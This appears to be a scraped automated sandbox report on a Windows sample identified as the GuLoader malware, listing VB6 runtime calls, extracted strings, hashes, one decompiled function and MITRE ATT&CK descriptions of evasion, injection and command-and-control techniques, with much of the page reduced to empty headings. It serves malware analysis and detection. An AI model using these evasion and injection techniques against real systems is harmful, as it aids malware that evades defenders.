__vbaFreeStr.MSVBVM60(00431DBC,00000000,FGFG,00000001,?), ref: 00433D2A
__vbaFreeVar.MSVBVM60(00431DBC,00000000,FGFG,00000001,?), ref: 00433D32
__vbaNew2.MSVBVM60(00431AD4,00435448,00431DBC,00000000,FGFG,00000001,?), ref: 00433D52
__vbaHresultCheckObj.MSVBVM60(00000000,?,00431AC4,00000044), ref: 00433DFC
__vbaLateIdSt.MSVBVM60(?,00000000), ref: 00433E21
__vbaFreeVar.MSVBVM60(?,00000000), ref: 00433E29
__vbaFreeObj.MSVBVM60(00433E5F,00431DBC,00000000,FGFG,00000001,?), ref: 00433E59

Strings

PIKARESKE, xrefs: 00433DC7
FGFG, xrefs: 00433CDA

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#628CheckHresultLateMoveNew2
String ID: FGFG$PIKARESKE
API String ID: 3824332664-2650081475
Opcode ID: 77e8c23a56f3dfa3181d7ab9cdb504912c58e7fc8d620e10da562716eb3cd2b6
Instruction ID: d98d35cbb471d84565928b9a09efd14cd1a1e19f47451809068ca4918d836913
Opcode Fuzzy Hash: 77e8c23a56f3dfa3181d7ab9cdb504912c58e7fc8d620e10da562716eb3cd2b6
Instruction Fuzzy Hash: FD515EB1C016089BDF10EFAAC9826DEBBB5FF09704F60416EE905BB291C7751A098F95

Uniqueness

Uniqueness Score: -1.00%

Function 00434221, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00434221(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a12) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v44;
				char _v52;
				signed int _t26;
				char* _t33;
				intOrPtr* _t40;
				void* _t47;
				void* _t49;
				intOrPtr _t50;
				intOrPtr* _t51;

				_t50 = _t49 - 0xc;
				 *[fs:0x0] = _t50;
				_t51 = _t50 - 0x38;
				_v16 = _t51;
				_v12 = 0x4011e0;
				_v8 = 0;
				_t40 = _a4;
				 *((intOrPtr*)( *_t40 + 4))(_t40, __edi, __esi, __ebx,  *[fs:0x0], 0x401226, _t47);
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				_v52 = 0;
				L00401334();
				L00401334();
				_t26 =  &_v52;
				_push(_t26);
				_push(1);
				_v44 = 0x20;
				_v52 = 2;
				L004012CE();
				L0040136A();
				_push(_t26);
				_push(0x431de4);
				L00401352();
				asm("sbb esi, esi");
				L0040134C();
				_t33 =  &_v52;
				L0040133A();
				if( ~( ~( ~_t26)) != 0) {
					L004012D4();
					 *_t51 =  *0x4011d4;
					 *_t51 =  *0x4011d0;
					 *_t51 =  *0x4011cc;
					 *_t51 =  *0x4011c8;
					_t26 =  *((intOrPtr*)( *_t40 + 0x2c8))(_t40, 6, _t33, _t33, _t33, _t33, _t26);
					asm("fclex");
					if(_t26 < 0) {
						_push(0x2c8);
						_push(0x431620);
						_push(_t40);
						_push(_t26);
						L0040135E();
					}
				}
				asm("wait");
				_push(0x434347);
				L0040134C();
				L0040134C();
				return _t26;
			}

0x00434224
0x00434233
0x0043423a
0x00434240
0x00434243
0x0043424c
0x0043424f
0x00434255
0x0043425e
0x00434261
0x00434264
0x00434267
0x0043426a
0x00434275
0x0043427a
0x0043427d
0x0043427e
0x00434280
0x00434287
0x0043428e
0x00434298
0x0043429d
0x0043429e
0x004342a3
0x004342ac
0x004342b5
0x004342ba
0x004342bd
0x004342c5
0x004342cf
0x004342dc
0x004342e6
0x004342f0
0x004342fa
0x00434300
0x00434306
0x0043430a
0x0043430c
0x00434311
0x00434316
0x00434317
0x00434318
0x00434318
0x0043430a
0x0043431d
0x0043431e
0x00434339
0x00434341
0x00434346

APIs

__vbaStrCopy.MSVBVM60 ref: 0043426A
__vbaStrCopy.MSVBVM60 ref: 00434275
#606.MSVBVM60(00000001,?), ref: 0043428E
__vbaStrMove.MSVBVM60(00000001,?), ref: 00434298
__vbaStrCmp.MSVBVM60(00431DE4,00000000,00000001,?), ref: 004342A3
__vbaFreeStr.MSVBVM60(00431DE4,00000000,00000001,?), ref: 004342B5
__vbaFreeVar.MSVBVM60(00431DE4,00000000,00000001,?), ref: 004342BD
__vbaFpI4.MSVBVM60(00431DE4,00000000,00000001,?), ref: 004342CF
__vbaHresultCheckObj.MSVBVM60(00000000,004011E0,00431620,000002C8,?,?,?,?,00000000,00431DE4,00000000,00000001,?), ref: 00434318
__vbaFreeStr.MSVBVM60(00434347,00431DE4,00000000,00000001,?), ref: 00434339
__vbaFreeStr.MSVBVM60(00434347,00431DE4,00000000,00000001,?), ref: 00434341

Strings

, xrefs: 00434280

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$#606CheckHresultMove
String ID:
API String ID: 4172741608-3916222277
Opcode ID: 5a8043274ec3f35f8914c9c38057d1c332d5f91f4621789a174cae3af2a671c0
Instruction ID: 1d905b4b87bd3e13d6c320388fdb852331afa8df3d2e0882f6927c9798857272
Opcode Fuzzy Hash: 5a8043274ec3f35f8914c9c38057d1c332d5f91f4621789a174cae3af2a671c0
Instruction Fuzzy Hash: DA317C70900209EBDB10EF92DC86AEEBBB8FF08704F10412EF951B71A1DB382505CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00434364, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 004343C1
__vbaVarTstNe.MSVBVM60(?,?), ref: 004343FB
__vbaVarDup.MSVBVM60(?,?), ref: 00434451
#596.MSVBVM60(?,?,?,?,?,?,?,?,?), ref: 00434475
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?), ref: 0043447F
__vbaFreeVarList.MSVBVM60(00000007,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004344A5
__vbaFreeStr.MSVBVM60(004344EF,?,?), ref: 004344E1
__vbaFreeStr.MSVBVM60(004344EF,?,?), ref: 004344E9

Strings

DRIBLET, xrefs: 00434441

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#596CopyListMove
String ID: DRIBLET
API String ID: 2863382718-2417547119
Opcode ID: 43c4fdf18efe43b910ad062fa694b2d6db2f07971848099055bbdb5409d67634
Instruction ID: f4f6b0e92a3e2a98d954c24b7ec6cbc03208748010ff71db245f44bdaa6ba199
Opcode Fuzzy Hash: 43c4fdf18efe43b910ad062fa694b2d6db2f07971848099055bbdb5409d67634
Instruction Fuzzy Hash: 004152B2D0025CAEDB51DFA4D881BDEBBF8BB08304F5041ABE509F7251EB7466888F55

Uniqueness

Uniqueness Score: -1.00%

Function 00434502, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0043454E
#573.MSVBVM60(?,?), ref: 00434568
__vbaVarTstNe.MSVBVM60(?,?,?,?), ref: 00434583
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?), ref: 00434595
__vbaHresultCheckObj.MSVBVM60(00000000,00401208,00431620,00000084), ref: 004345C8
__vbaFreeStr.MSVBVM60(004345F5), ref: 004345EF

Strings

K, xrefs: 0043455E

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#573CheckCopyHresultList
String ID: K
API String ID: 3527455153-856455061
Opcode ID: ade23463541412b13f15e85aef0a5dbee96b6d94cab8b2f6ce44c503c39c7c2f
Instruction ID: 7bf7b360825444399c271af599b7ab2a017e0903124318ae056307419602d92d
Opcode Fuzzy Hash: ade23463541412b13f15e85aef0a5dbee96b6d94cab8b2f6ce44c503c39c7c2f
Instruction Fuzzy Hash: 9E2126B1C00208ABCB00EF95C885ADEFBBCAF48704F10512BE505B7291D778A5848BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043401C, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00431AD4,00435448,?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00434071
__vbaHresultCheckObj.MSVBVM60(00000000,02A8E8B4,00431AC4,00000014), ref: 00434095
__vbaHresultCheckObj.MSVBVM60(00000000,?,00431AE4,000000E0), ref: 004340BE
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 004340CC
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 004340D4
__vbaFreeStr.MSVBVM60(00434101), ref: 004340FB

Strings

td, xrefs: 004340D9

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$MoveNew2
String ID: td
API String ID: 2347022188-1079315276
Opcode ID: f06fcd3b49271363e8226d4cbc401ff751421c2f9b0e85f1011ed9437727f03d
Instruction ID: a4956402939807ec5e5ef22778d0a31415ccaeecceb8b317b30c2d63959e849a
Opcode Fuzzy Hash: f06fcd3b49271363e8226d4cbc401ff751421c2f9b0e85f1011ed9437727f03d
Instruction Fuzzy Hash: E2214170E40604ABCB14EFA5C845EEEFBF8FF98704F24545AE501B72A0C77869418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00433E84, Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00433ECD
#612.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00433ED6
__vbaStrVarMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00433EDF
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00433EE9
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401226), ref: 00433EF1
__vbaFreeStr.MSVBVM60(00433F1E,?,?), ref: 00433F10
__vbaFreeStr.MSVBVM60(00433F1E,?,?), ref: 00433F18

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$#612Copy
String ID:
API String ID: 672936406-0
Opcode ID: 9221ade140e710741bedebee5bf74f0748fbd47e7a864519dde6df037f916f73
Instruction ID: 4bfb11ec3929a9bd519f12f7881e68727b2329f7a2d0323a2f4c24461b2d9609
Opcode Fuzzy Hash: 9221ade140e710741bedebee5bf74f0748fbd47e7a864519dde6df037f916f73
Instruction Fuzzy Hash: CB110C75C10219ABCB00EFE5D9869EEBBB8BF08704F40406FF501B3691DB786A05CB99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 97bXaukEWl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

System Behavior

Analysis Process: 97bXaukEWl.exe PID: 4908 Parent PID: 5516

General

Chronological Activities

Disassembly

Code Analysis

Analysis Process: 97bXaukEWl.exe PID: 4908 Parent PID: 5516 97bXaukEWl.exeCOMMON

Executed Functions

Function 020A5798, Relevance: 20.3, APIs: 1, Strings: 10, Instructions: 1063memorynativeCOMMON

Function 004331B4, Relevance: 103.8, APIs: 41, Strings: 18, Instructions: 507
COMMON

Function 00433C94, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 145
COMMON

Function 00434221, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 87
COMMON